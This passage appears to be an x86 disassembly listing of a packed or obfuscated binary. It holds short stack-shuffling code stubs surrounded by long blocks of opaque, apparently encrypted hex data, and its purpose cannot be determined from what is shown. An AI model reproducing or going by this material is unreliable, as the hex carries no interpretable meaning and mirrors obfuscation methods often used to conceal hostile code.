ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- dw 0D6C5h dd 0E1EC52CBh, 0E517CA55h, 0B8EDB797h, 6224BA8h, 0C88BC503h dd 9FE900EBh, 0E9000006h, 693h, 224D7E68h, 3114E906h, 0DF68FFFDh dd 0E906224Eh, 0FFFD310Ah, 224F9C68h, 3100E906h, 5F68FFFDh dd 0E9062250h, 0FFFD30F6h, 22519D68h, 30ECE906h, 0FDAFFFFDh dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh dd 519B155h, 258444CDh, 8125DCCEh, 8559FA5Dh, 0AD1FD3A1h dd 1FD3A1D5h, 0D3A23205h, 0A2885C1Fh, 13D31FD3h, 0AB476B94h dd 1FD3A2D6h, 0D3A32C00h, 759A9D9Fh, 26C1DEEh, 0DF4B434h dd 8B2FD37Bh, 0A8575212h, 15ED9916h, 0A89FD3ACh, 0B32C50F4h dd 1DF5A12Ah, 0B09FD3ACh, 0C33CD8FCh, 5895F0C3h, 76F52BA4h dd 0F3BD04F9h, 0E8198F3Fh, 118AAE56h, 22DDC888h, 14C4E890h dd 0BEF46D94h, 0EA0E5A6Ah, 55CCF06Fh, 0E19E08C8h, 30D74453h dd 9224C84Ch, 0BDA8C4EAh, 1B2FE148h, 946147F7h, 0D049ED14h dd 0D96B9610h, 247B0D31h, 59057E13h, 9C1002B4h, 8546AD61h dd 807A13BFh, 4C2CBEAh, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19B154h, 0F37C72E5h dd 0D3A16F47h, 2A4E021Fh, 40D22D7Ah, 5DA203C3h, 63FF23CBh dd 1FD3A18Eh, 0FB26B833h, 18DC53ACh, 6EF7708Fh, 0D3A1EAC2h dd 0A3C97D1Fh, 0C4FF7973h, 6E00247Eh, 8012EDBAh, 0C45D81FCh dd 1AA31CE3h, 0D363966Eh, 5175291Fh, 18C44DDAh, 1FD36340h dd 0A1F91FD3h, 0A7AEB9FAh, 0A5F48AAEh, 48F0945Bh, 419h dd 9D6245D5h, 0A1966B0Bh, 3AB91FD3h, 0D52A7DA4h, 701C955Eh dd 1FD3A198h, 0DEB662EBh, 711FD3A1h, 0A06099BDh, 0B66AFC13h dd 0D88012FDh, 57179034h, 115C2C53h, 1447161Ch, 1236DE70h dd 25DCCC80h, 9F7723ACh, 0F21FD379h, 0D3796E46h, 144D011Fh dd 38C53C60h, 7A2B03AFh, 0FEBE1FD3h, 1CC456A9h, 3A45478h dd 21136AFCh, 7B13EB97h, 0E6A61FD3h, 4AC3EC1h, 7FAB060h dd 0B229CD75h, 0B446B9EEh, 0B7EEAE37h, 720EB648h, 1FD37A9Ah dd 0A555792Dh, 0C888010Eh, 87FE22DDh, 0D37B03D7h, 0B0184E1Fh dd 0E1D54892h, 60530327h, 17A01DAFh, 0D2C8936Bh, 4E72261Fh dd 0E0593CFBh, 0EFDC5F34h, 0D138EC15h, 0F0332504h, 614C6B01h dd 66000003h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh, 0D69A11EEh dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h dd 3AF28F1h, 19B1542Bh, 451386BEh, 64249D62h, 842CBE41h dd 8D1ACE60h, 872CE072h, 0C4841188h, 6A970FE6h, 0FA8C30D8h dd 0FE922E52h, 491FD3A1h, 0A13C14C0h, 1BCF1FD3h, 0B1875BF7h dd 189B1FD3h, 0B2E865F7h, 0C87549F9h, 93C28ADDh, 91799AC0h dd 34C63B6Bh, 28C4E88Ch, 1FD47D54h, 0A682699Fh, 562404B8h dd 3558DF32h, 0AF8733BCh, 421FD43Ah, 45F16A8Eh, 15F11A40h dd 0A07824ADh, 3325F35Ah, 825A067Fh, 1525F35Ah, 50043D61h dd 32A70AE9h, 5A790FF0h, 2A4h, 87FE03A9h, 0A61DE2C3h, 0C239C8E2h dd 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h, 0A50ED249h, 792FF36Ah dd 5A4D1188h, 0EC652EA5h, 0B1526840h, 50C3FB19h, 1CC86245h dd 1FD3A144h, 0ED7F23D7h, 0FF916E39h, 89CC027Bh, 0BAF18963h dd 25B28A36h, 91451FD3h, 904EC9EDh, 72E91691h, 818E25E5h dd 0C0F2C75Dh, 2A1BF094h, 0A8000002h, 0D3A18559h, 0F20F991Fh dd 12EFB979h, 0A215ED99h, 0F4A81FD3h, 139559D0h, 0F3B575EEh dd 0A458EA0Eh, 0E76BFD04h, 0F9AF726Ch, 99CEFD33h, 2BB929ACh dd 0D2A8B78Fh, 0F2964A1Fh, 4588D17Bh, 4825F094h, 0B2000000h dd 870095A2h, 0F0BBAADBh, 147B2F15h, 0F0320795h, 0E17B9A30h dd 0E6000001h, 0C43BC6h, 1FE35AA5h, 3BFF768Bh, 561A916Eh dd 0EE3AB150h, 8C753134h, 0AD625115h, 0CB367236h, 0E8179054h dd 832FA871h, 19B151ABh, 4593063Eh, 670FA16Eh, 0AD8D39B2h dd 501FD3A1h, 52560A9Ch, 307636AFh, 7236ADD1h, 0E138CA35h dd 0FBBF3653h, 0A46B48ADh, 0B44B5E12h, 32D67A22h, 396E2EBBh dd 0B5F2A2C6h, 9C48D14Ah, 1FD3A1C4h, 0ED7FA357h, 1E957A39h dd 1FB1505Ah, 9D49C277h, 1FD3A1C5h, 0F30E9858h, 9E09B961h dd 8327CF61h, 886D3DF1h, 0A54DDF22h, 74FD8A01h, 0D3A1F0C8h dd 0ABCF831Fh, 42BDE58h, 1CF5C261h, 19CD5F03h, 49F97091h dd 1FD38175h, 954A8AC0h, 18EAE2C6h, 0F396A1F4h, 7EEBA7Ah dd 2BBD619Eh, 3AE65F83h, 15EFD369h, 1C13AEEh, 0ACE25BA4h dd 7EF1AE71h, 59057EE2h, 25F1E681h, 0C53C6014h, 0C95BA401h dd 0DC6E9315h, 0F2848B28h, 6840EC75h, 0FB25F1E6h, 4A22CE47h dd 0DD25F1E6h, 55550529h, 149D1AACh, 0F1E69068h, 4B6F2325h dd 0C9753FF8h, 25F1E6F1h, 8920D084h, 0AD59D276h, 1C0EF780h dd 54ADFDBDh, 0BDF61AC2h, 4B39A209h, 1EB4FA10h, 0A3FFh dd 0FD04A800h, 1CE3C286h, 38C9E1A5h, 53ACFDC1h, 738E18DCh dd 0EFF6B0FCh, 0FD34AB7h, 30F46BA4h, 4E128978h, 662FA659h dd 506941EDh, 0C4FC19B1h, 33F37C51h, 55FD8F80h, 0D3A1E1B9h dd 9CC0741Fh, 0B244BBECh, 0C456A9FEh, 3F19C540h, 0A1320AB6h dd 11C51FD3h, 956A3DEDh, 0D8D1911Eh, 226B9527h, 8073208Fh dd 1BB1D579h, 0F094625Eh, 206Fh, 0BC7CFC00h, 0D98113EEh dd 0A14419B5h, 4D5A1FD3h, 0BA0339B2h, 0E7BB8A7h, 0B7E65D81h dd 0Bh, 0A1855940h, 0E991FD3h, 0B6037AF1h, 28F7Ch, 0C62D0000h dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 62A26886h dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5D7068h dd 241C8900h, 38A568h, 24148900h, 4C96BF57h, 0FB890622h dd 83243C8Bh, 0EC8104C4h, 4, 81242489h, 42404h, 575A0000h dd 8157DF89h, 4DF42404h, 428F53BFh, 86A8108h, 53BF4DF4h dd 24148B5Fh, 81E28952h, 4C2h, 4C28300h, 5C241487h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- db 6Dh dd 0A7212B4Dh, 0B8D76D4Dh, 6225265h, 0D18BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0E80009FDh, 11h, 74E656Fh, 0D89853EEh, 6FC2E8FFh dd 54CF723Bh, 0F8BF0F6Bh, 81CA8B5Ah, 720FC2h, 6800h, 0E9580000h dd 0Ch, 819643EEh, 7F0C6782h, 0F0BD4FEFh, 81021C8Bh, 0A622CBEBh dd 0D8E68120h, 8172D56Fh, 0DB7EC4C3h, 178D0F32h, 0E9000000h dd 12h, 544826CCh, 3BCAA122h, 2E8BB10Fh, 4623C141h, 0C3813EE0h dd 5B19EEEBh, 870Fh, 1C890000h, 4130BE02h, 6E8147Fh, 0E9000000h dd 1A7075E3h, 0A840FB8h, 0E9000000h, 5, 37003B95h, 0E8835E0Fh dd 80505202h, 5E59FCE1h, 81FC4848h, 0FF8ED0F8h, 0C850FFFh dd 0E9000000h, 2Fh, 2D1BBB47h, 0E9904F8Ch, 0Fh, 6144B347h dd 0A3F2BEB3h, 4BD1E09Fh, 0E92733A6h, 0FFFFFF60h, 921E0552h dd 72F267A8h, 0B7869B60h, 0E919D812h, 0D9h, 0FBE1D20h dd 2F82C12Ch, 0BEB6CFDFh, 365D54FDh, 0BCECA436h, 0C55DD500h dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h, 9CACAC32h dd 0F691B800h, 82CD64F7h, 3893h, 3C00h, 4000h, 9400h, 500h dd 100h, 0A2800h, 200h, 20h dup(0) dd 0B52B2E00h, 1F12E923h, 63680000h, 0E9062257h, 0FFFD2852h dd 22586D68h, 2848E906h, 3D68FFFDh, 0E9062259h, 0FFFD283Eh dd 2259CC68h, 2834E906h, 0B868FFFDh, 0E906225Ah, 0FFFD282Ah dd 225B9A68h, 2820E906h, 7E68FFFDh, 0E906225Ch, 0FFFD2816h dd 225D2968h, 280CE906h, 0BB68FFFDh, 0E9062260h, 0FFFD2802h dd 22612068h, 27F8E906h, 7268FFFDh, 0E9062262h, 0FFFD27EEh dd 22655D68h, 27E4E906h, 8C68FFFDh, 0E9062268h, 0FFFD27DAh dd 226C3368h, 27D0E906h, 9268FFFDh, 0E906226Dh, 0FFFD27C6h dd 226E0368h, 27BCE906h, 5D68FFFDh, 0E906226Eh, 0FFFD27B2h dd 226EC468h, 27A8E906h, 0B068FFFDh, 0E906226Fh, 0FFFD279Eh dd 2270DB68h, 2794E906h, 0E068FFFDh, 0E9062271h, 0FFFD278Ah dd 2BA25F4Dh, 4AC13E67h, 66DD2486h, 81F807A2h, 0A118E9BDh dd 14929B55h, 1B276EDh, 0D5D3970Eh, 0B6F1B52Ch, 9009D249h dd 0B14D0CE4h, 0F4679F19h, 0B9D6245h, 38AF5057h, 0AA2366D1h dd 0F0A9E9FEh, 5D407615h, 47DD1D65h, 39C23BDFh, 0F37AB58Dh dd 70944825h, 6A161DEh, 9BBF67F9h, 0F37B2BFFh, 0CC129125h dd 2F17568Ch, 145AE423h, 0DC1F5AF0h, 4FAE0974h, 3B000000h dd 870095A2h, 976A3EFEh, 8132D773h, 2BDF15F0h, 4C5C1C99h dd 21F591B5h, 3525F2C2h, 47FB8D72h, 0EE801F5Eh, 1C7C1E26h dd 0D554E678h, 47C62409h, 0FDD5A497h, 0FBF80974h, 6F000000h dd 0D9B15DE6h, 6C25F36Ch, 6C441CB8h, 23D725F3h, 62459CFFh dd 0CE8E0B9Dh, 510125DCh, 7333AC55h, 0BF3CCE33h, 0D3A13B13h dd 761ACE1Fh, 9B0CC052h, 29D6CF8Fh, 7B53EF97h, 971FD3A1h dd 2B6EF10h, 8F18CC5Eh, 0E9C1F770h, 18BE9105h, 73239ABEh dd 1FD343E0h, 0D74EB1F6h, 0E31E8A4Ah, 67980FBFh, 0F9858D5h dd 0AA3CC3E4h, 0E73A5E02h, 18C43D50h, 15F0539Fh, 27FFAB34h dd 4325F253h, 60089A67h, 58CF7327h, 0BE9642CBh, 5125F252h dd 1126799Dh, 1F57037Ch, 0B21C13C3h, 3CFC85FEh, 0C2729669h dd 679811E4h, 12892DD5h, 42A9584Eh, 0FA6D67C3h, 460524BAh dd 0E200001Ch, 0FCC037CAh, 1BDF56A9h, 37FB728Fh, 52168D72h dd 0EA36AD54h, 88792D30h, 0A9664D11h, 0C73A6E32h, 0E41B8C50h dd 7F2BA46Dh, 19B14AA7h, 458F023Ah, 9C29A061h, 0A18F6713h dd 6E221FD3h, 0F20D9A4Ah, 95A2047Bh, 36DB8700h, 0A315F081h dd 9F57A36Dh, 6D919E6Bh, 0CA357434h, 6B179038h, 25F2C293h dd 3CCE7226h, 0F2C2C89Ch, 36C9DC25h, 47BAF0A4h, 0C21CABB5h dd 508E0D6Bh, 7463AEEBh, 0DD3F09h, 45CC0000h, 570B9D62h dd 0A320B24Fh, 9955D96Dh, 143A4B22h, 0B61A2C9Eh, 0F490B477h dd 1FD36F61h, 58CF3077h, 5AEC1394h, 54553403h, 65F7089Fh dd 0D38719BDh, 0F39B2DD2h, 8632AB4Fh, 15F0800Dh, 956D19A2h dd 2825F27Eh, 0F259D074h, 9F624445h, 984C82FBh, 0D0A89872h dd 97295530h, 73DF6971h, 0C72AD64Fh, 741C136Fh, 1F8747C0h dd 0FCA969E2h, 0C153BCF7h, 3BE37519h, 0CADCA017h, 35CBD037h dd 0A83EFA6Dh, 1B3C89h, 2DD4D800h, 4CB3F2B6h, 689911D5h dd 837C2DF1h, 0A35E480Ch, 1F26E02Ch, 3F037A87h, 60249B74h dd 7E42B948h, 965FD629h, 4999711Dh, 0F42C19B1h, 0A0614581h dd 0E8426529h, 0D3A1643Ch, 9F43F71Fh, 0AD659B28h, 9B644361h dd 573B6109h, 0C24F13B8h, 534955CBh, 45288BAFh, 570B9D62h dd 1A38AF50h, 9A10D05Ah, 13B7585Bh, 62B5D981h, 9B47C0D5h dd 15F081E2h, 9030C377h, 6260F0C0h, 27B0E29h, 9E116956h dd 0A032E6D8h, 1B8FEE49h, 0FCAC54E6h, 37B054ABh, 0BD4AEA8Bh dd 0D6CF8FDEh, 0C9EF9729h, 76337047h, 69E286FEh, 0EBEC6F33h dd 0F6BD450Bh, 3BDF8719h, 4D3E16C2h, 1DD1EEBFh, 0E7C080F9h dd 0CADDA118h, 92D3CE35h, 9C3238C6h, 1A6C7Dh, 5DA40800h dd 7C8322E6h, 98694105h, 0B34C5D21h, 0D32E783Ch, 4F56105Ch dd 6F33AA57h, 9054CB44h, 0AE72E918h, 0C68F06F9h, 48C9A14Dh dd 245C19B1h, 9D6245B1h, 0E83B40Bh, 9244E995h, 3DF115F0h dd 7CD0A8C6h, 0B15DD6BBh, 1C0FB2F8h, 0C946D98Dh, 2ED20A40h dd 2627A04Eh, 121AB28Ah, 6D91452Ch, 0A13A7AD1h, 4F42F563h dd 5A3D2AD6h, 6BAE9E0h, 771A1D74h, 92B152FEh, 0A256EFFFh dd 0C13E6929h, 0DE21864Ah, 308B477h, 1C3BD116h, 19DDh dd 57CE3379h, 76ED1293h, 9209F8B2h, 0AD24DBCEh, 0CD44BDE9h dd 0E8BEC781h, 0D5DEA219h, 0A9FFC33Ah, 8A1DE158h, 0BC35FE75h dd 0B1483810h, 2093CB19h, 249D6245h, 2DBF4264h, 78CF6185h dd 0BEABEBFh, 2FC1659Ah, 0BE6AE387h, 15F0B5E9h, 0BE4BC276h dd 0B5B18935h, 904425F2h, 8B23626Ch, 9224DDCBh, 0C473C6EAh dd 0F3AC58D1h, 881C0F95h, 0FFA141D4h, 6AC8B84Dh, 8D5D35E1h dd 2C79C8BAh, 0C0E69AD3h, 905FC19Bh, 0A1F41874h, 447AF396h dd 1C3A81BEh, 0E6C5D8CDh, 99C8B55h, 1CC84165h, 0BED6E62Fh dd 0F66F8ACh, 0B44D5928h, 4AEB9710h, 0AFC4F61Fh, 6ECEEC79h dd 84A80522h, 4A40154Bh, 0F2B5F0D2h, 1A549B8h, 20DFC888h dd 34CBDA8Eh, 3256FAA2h, 7CAEF9B9h, 0F81CF8D0h, 33D78BD4h dd 50AFF8BCh, 9423CE9h, 84A33943h, 18F1h, 6BE21F8Dh, 8A01FEA7h dd 0A61DE4C6h, 0C138C7E2h, 0E158A9FDh, 0D4D2DB95h, 0C1F2B62Dh dd 9513D74Eh, 7631F56Ch, 0D0491289h, 0B1474C24h, 34A7DF19h dd 249D6245h, 2ABC4364h, 75CC5E82h, 0AA56CFC2h, 15F081A5h dd 0AE615212h, 1750741Ch, 0C20AE28Eh, 0E99D25F2h, 0D1B0CE45h dd 74EDA097h, 0FA20FC8h, 2FDB641Ch, 2C11E157h, 0D91236EAh dd 7723AC25h, 2C11E19Fh, 0C75A7E32h, 0D2562D27h, 0E0C88828h dd 8DAAFD21h, 0F6E38F08h, 731F7177h, 0F0B02DBFh, 0D5284CC3h dd 0AB62F62h, 2590B069h, 27584E0Eh, 0DE8415F6h, 0D4781C3Dh dd 4E26D25Bh, 0E13592A4h, 790092Dh, 0A4FAD27Eh, 48D3592h dd 92A48058h, 0BB5F1335h, 3FC0E797h, 6B23BC8h, 3592A42Eh dd 39E90DC1h, 0D52A916Eh, 70E3923Ah, 180FBBDAh, 1AB0000h dd 0E0C58900h, 0C6E4A81Fh, 0A900C43Bh, 8B1BDF56h, 0F9B3FF76h dd 0D84FB2F4h, 0F9709F14h, 178E7335h, 34AB5453h, 6E46F26Bh dd 119B146h, 0BC7C56C9h, 0BB933FEBh, 4E1FD3A1h, 0BC64F69Ah dd 40BFE898h, 0BA923EC7h, 0D61FD3A1h, 0F29A2CD3h, 4FE105B9h dd 0D14A3FF8h, 0F0B1F825h, 0F0B57515h, 31D57D0Fh, 0AB832FB8h dd 3E25F2B0h, 62EF668Ah, 6AFC03A2h, 0E4949EC2h, 0D040C770h dd 0FA998ACh, 0E3896731h, 6F1381E5h, 0EDA652CBh, 421C0F98h dd 4763CB0Ch, 23473C31h, 4A161EAh, 25C169FBh, 2C129E4Dh dd 0F5882CE0h, 59574055h, 1184B3B7h, 77FFEC98h, 0C87CB5F8h dd 3558DF36h, 0B06F10BCh, 6014BC17h, 7F8027E7h, 9C634606h dd 3E740178h, 0F16B658Fh, 1BCBEF27h, 0BD0C738Ch, 485A6BA0h dd 172B93B2h, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh, 8D1CE057h dd 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h, 33AA5751h dd 50C7386Fh, 8A620E87h, 1D19B145h, 0F37C72E5h, 0D3A16F47h dd 2A4E021Fh, 0DFC62D7Ah, 0CC437020h, 5CEE923Ah, 0E65F3205h dd 0F5F6DD3Ah, 45F17A15h, 25F5F56Dh, 2FA84C00h, 50C7386Fh dd 0F5F778A0h, 2564D125h, 42BDEAAEh, 6B083ECBh, 0DC2585C9h dd 627D14B6h, 494CEB3Eh, 0BAC724D0h, 0B0641C18h, 0E878AE37h dd 0E44F70CDh, 0EB340CB8h, 13C72C18h, 0A9B4B6Fh, 0EBBA7EF5h dd 0D9CE8214h dd 7174BF26h, 5BF1FA68h, 16803Ch, 71901C00h, 906F36FAh dd 0AC555519h, 0C7387135h, 0E71A8C50h, 636A2470h, 8347BE43h dd 0A468DF30h, 0C286FD04h, 0DAA31AE5h, 44DDB561h, 387019B1h dd 95A2C5h, 6A3EFE87h, 7AD77397h, 1715F5F7h, 7D2AEA63h dd 7C3BFC00h, 31D55817h, 0AFE253BAh, 43A68A36h, 9D5125F6h dd 59058E0Bh, 25F64381h, 0A03C6014h, 25F643CBh, 0B763C9E1h dd 25F643DFh, 881ABE72h, 9C2ED1D4h, 5538B0Ah, 0F6438159h dd 0BC601425h, 3CFFDF5Eh, 949E67Dh, 48B7F0B0h, 6A8B24h dd 0A2180000h, 0D985FE93h, 1FD3A1FDh, 0D552E498h, 920A149Fh dd 0B8F0EFFEh, 6B0FB749h, 0F2D7AB47h, 0BE3D1FD2h, 175E1B20h dd 0CF8FF094h, 6D062AD7h, 38h, 64467CFAh, 0A6B01093h, 0F4A5E638h dd 0D9E5E7CEh, 688C30D1h, 0D2DCF7CCh, 0C8CD6A1Fh, 913DC64Fh dd 1FD2DCB9h, 0DC88600Ch, 671B1FD2h, 0BA567A2Eh, 15EFE021h dd 148B02B6h, 870095A2h, 0F0B0CEDBh, 684B0B15h, 964A83A7h dd 0A8575004h, 0C53A6D31h, 0EC9D164Ch, 2B5B1119h, 0E5C17507h dd 0D1D68A1Ch, 0BDE89C2Eh, 0ED149242h, 1CC2515Bh, 627C0B11h dd 0A017E8BFh, 0AB545313h, 2FD0D787h, 46CB80B6h, 0E97B8425h dd 0A9D11B41h, 0C219ABCFh, 1EA72075h, 35E1495Eh, 25F30C5Dh dd 6983CF0h, 159E3A5Eh, 8A1C1026h, 0C9B5FD6h, 24E461F3h dd 5B07808Fh, 2C122583h, 0A23E6216h, 94268CEFh, 63BE20AFh dd 0B744BB44h, 694C0181h, 173BBA81h, 2DBF4067h, 4EFA3079h dd 0A4491F76h, 1FB15509h, 34C63B6Bh, 47D92880h, 85A836B5h dd 0F26678F7h, 0F7897832h, 0F89C6543h, 7C8324D4h, 99664105h dd 287B007h, 1FE0C989h, 48C1E58Dh, 6630B39Ch, 0FD74289Ah dd 633BE770h, 0F6AA6830h, 396E1E42h, 8315ECBAh, 0F1A537DBh dd 0B1BB4DC2h, 4E659B24h, 0C088EC8Ch, 0C5D6AE4Ah, 0B569AA67h dd 0C5B8903Ch, 974BAA67h, 3BE6F873h, 581C936Ch, 0C71EB04Fh dd 0F8A41D70h, 0A084CFFBh, 24CFD898h, 43EB7D84h, 0C1650D9Fh dd 0DE21864Ah, 9A46CF4Ch, 0B086CFC2h, 0EC159555h, 0B4882448h dd 3DC086CFh, 46B9F0B0h, 0EA37A722h, 9C942BDh, 29D1639Ch dd 0DECA8E05h, 0C9DD9123h, 0A722A638h, 43BEEA37h, 277F3FCCh dd 0A206B6DAh, 9019CD5Fh, 1BBF5063h, 0EEF07F89h, 5D35E16Ah dd 0F0C086CFh, 0F88A7530h, 0D888AC50h, 7B8425D0h, 0C9C60D7h dd 0F7BC7CF5h, 0B62F418h, 30F0692Ch, 51F98B76h, 0CF542CD8h dd 33E7C086h, 0DDEA960Fh, 5AB6A3DEh, 38214A6h, 1D6246DBh dd 93C7922Bh, 0CE45E974h, 0D0629D0Ah, 0E2748B1Ch, 0F486792Eh dd 4966940h, 87A638C3h, 0CF528C07h, 6B027D8h, 0A9B9F6B3h dd 235Ah, 6345E700h, 82B50C9Eh, 0A1EA960Fh, 1615F0A8h dd 37BCEB62h, 2F000000h, 0FBF17FF9h, 0D5DEF30Ah, 0F72963Ah dd 259E6345h, 0A218F09Ch, 0F7AB1FD3h, 4DEA41D3h, 1046CF48h dd 25DC2D5Ch, 7A3C76Ah, 15F05866h, 0A65B4B0Bh, 0AC50AFF6h dd 0BC7CBE35h, 0DA8214EBh, 88CCACB6h, 2B61DAAFh, 0C07DDFC1h dd 87002405h, 0EF8922DBh, 74417715h, 5EFEF66Eh, 0EB9FD8FCh dd 9AE0B858h, 0DE590A83h, 998632ABh, 1610C27Bh, 0BE79D062h dd 5A652CBh, 0AA16E1B5h, 0EABD7DF6h, 51119E15h, 7119AB54h dd 730A9D4Dh, 0B36D7EE1h, 268D31E5h, 0F13D62D7h, 0EE99B84Eh dd 8A000012h, 0A468DF22h, 0C387FE01h, 0DFA31AE7h, 0FABE35CAh dd 92DE55ACh, 30D1D5D8h, 51BEF5B9h, 6F9216DAh, 8C7334F8h dd 27D34C15h, 19B1414Fh, 5937AAE2h, 1FD3A281h, 0C79F4BD4h dd 5A1FD3A2h, 82F82A6h, 0E7600C85h, 7C15F0BAh, 198F4FC8h dd 0FBAD71E8h, 0B256B9FAh, 0C43B6C20h, 322FCE5Dh, 0C6E57BF0h dd 1289h, 37A8725h, 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h dd 3C6A732Dh, 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h dd 0B140E4BCh, 0CC3F7719h, 870095A2h, 0F0BA62DBh, 0CA43F715h dd 0B9BD9541h, 9C5025F2h, 663FFF78h, 0C952299h, 0F2B98860h dd 43671B25h, 5BED1293h, 7E2A00A7h, 25F2B9A6h, 0E11AE5C2h dd 0D67A8721h, 8F0EA032h, 2CD3D24Fh, 74E497B5h, 8337CABFh dd 27D8D122h, 0C1810A83h, 0DE8618E9h, 0F2B96A42h, 2549FD25h dd 0BA1EF393h, 4AC325F2h, 6D9C3014h, 0F384E9C1h, 0A2C87C25h dd 0EC104CE2h, 0F1B46D71h, 810A970Eh, 0F373FDD5h, 0B8DC9025h dd 0D0629D08h, 52CBBE79h, 15C95DA6h, 595C921Ch, 0AA5ED952h dd 3962BBDCh, 0B27AA213h, 28A1558Eh, 1228699Fh, 69106B52h dd 0ED129545h, 0AF5B276h, 0FCC5FB78h, 0DA6A7E73h, 1E196C90h dd 7432F26Bh, 2F53FB8Dh, 196E0AB6h, 93C92238h, 0FAA64628h dd 0A3DC0043h, 0F1B676EFh, 0D4D3970Eh, 3E6A8B1Fh, 0E97B1FC3h dd 4564366Ch, 745B76F0h, 0D53AFD50h, 1D5F08D3h, 844D19A6h dd 84B5294Fh, 0FEAA23C7h, 2854EB49h, 0EA21A0D6h, 45DB37C9h dd 59EB1495h, 3BA60DB1h, 0BAEEAE5Ch, 11370524h, 0D9D30000h dd 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh, 21DB279Eh dd 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh, 966E1A93h dd 2919B13Fh, 78597EF1h, 0A61FD3A1h, 2188FF02h, 4EFA7316h dd 15F5F5AAh, 9F28A155h, 772FD4DFh, 12C2E68Ah, 65F26998h dd 6E0001A5h, 8012EDBAh, 2F8434D8h, 82A64EE0h, 0B01A5F1Fh dd 2AB3F114h, 2A000001h, 37C8E1A1h, 53A1C39Bh, 10965620h dd 13B75FF1h, 92A28CEFh, 0E1C484FDh, 7C97FA1Eh, 8517EABCh dd 9440B9DDh, 1FD3A1BFh, 7C63C67Eh, 6607A09h, 9CFF94A2h dd 91A22087h, 0B446B9F0h, 6205680Ch, 0B06A5FFBh, 23E3F394h dd 25FDA983h, 0B822D3A2h, 26CE6004h, 0ACD02F76h, 2F13h dd 94A2A000h, 0D07C9CFFh, 1FD3A1FBh, 7C71D488h, 0A16F47F3h dd 4E021FD3h, 453EB12Ah, 7C399C65h, 9F30DB46h, 779BD09Dh dd 40DA91F8h, 63000000h, 9CFF94A2h, 7533F37Ch, 0F7CC688Ch dd 0B61FD3A1h, 0F5E3757Ch, 4271DBE1h, 2648A5Ch, 930CB0A5h dd 0A6B1845Dh, 0A9CF49A9h, 8DF5DC45h, 0C82B4FC6h, 6545097Ch dd 0BC7C399Ch, 0D88012EDh, 5FCE35B4h, 0F394B06Ah, 2FC3h dd 91A25000h, 0D8B79C7Ah, 6DAA7DAEh, 8456BF4h, 65C86CA8h dd 7433F37Ch, 0F6CB678Bh, 831FD3A1h, 97C6CCFh, 3C9F6045h dd 20DA0F76h, 63000000h, 99FC91A2h, 0A1FBD07Ch, 2BA1FD3h dd 45097C9Fh, 9D269F60h, 0D3A219F1h, 0D4F8AC1Fh, 0DA0F7671h dd 0FFFFFECDh, 95A263h, 0F77EDB87h, 671B15F5h, 86792EEEh dd 0A060E962h, 0B468FA05h, 0EF680CF3h, 0F5F66B43h, 264AFE25h dd 57CE3176h, 0CB4445F0h, 0F5F6471Fh, 0CCDA9A25h, 0D7FBA335h dd 0B171EA9Eh, 55E70BF4h, 728D18D8h, 0F6DCB24Eh, 0AFF825F5h dd 9E0ABE50h, 7929D163h, 3640D22Fh, 98F637A7h, 0B54A5B1Bh dd 0DC577B23h, 13603902h, 488D0949h, 1A000000h, 0D3A18559h dd 0B39AD01Fh, 5830DC33h, 0EB1FD2AEh, 0BDCA1137h, 0D5AD59D2h dd 681FD3A0h, 0C7E090B4h, 3C11C138h, 891FD3A0h, 462E4253h dd 640C9E61h, 0D0CDAA3Eh, 0ABDE59ACh, 0C5198632h, 0E29615EFh dd 0CF3C6Bh, 0A2C50000h, 0DB870095h, 15F09556h, 0A0D64F03h dd 903C47EBh, 25F38AB8h, 0DC71974Bh, 83FC2062h, 9810E5C3h dd 8B2FD769h, 0AE615212h, 0D950741Ch, 0F56E9315h, 55E8C06Ch dd 8F3B25F3h, 25F355B7h, 0D45D964Ah, 0F3555028h, 8B2FE325h dd 0E32CFDBh, 7F12257Ch, 0A1604606h, 0CA43670Fh, 15AACD1Eh dd 5752121Ch, 974B84A8h, 0B74A5E1Eh, 0D52C7C40h, 464BEC43h dd 0C09844CDh, 532C15A9h, 6787799Fh, 3ADBBAD3h, 78F19D16h dd 0D223852h, 8720E059h, 6A3D0178h, 978D2E95h, 0A238E449h dd 0E4C83h, 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h dd 0B34E581Ch, 2F36F03Ch, 4F138A77h, 7034AB64h, 8E52C938h dd 0A66FE619h, 3CA9812Dh, 43C19B1h, 91624591h, 0AD55E718h dd 0E4C37709h, 8C05891Bh, 226D9CCh, 0DDCA5787h, 0E81EAB22h dd 616DAFCDh, 0A93F6338h, 0F0943ED0h, 54FDh, 0F37C8A00h dd 0D3A16F47h, 0D54E021Fh, 0D3A15129h, 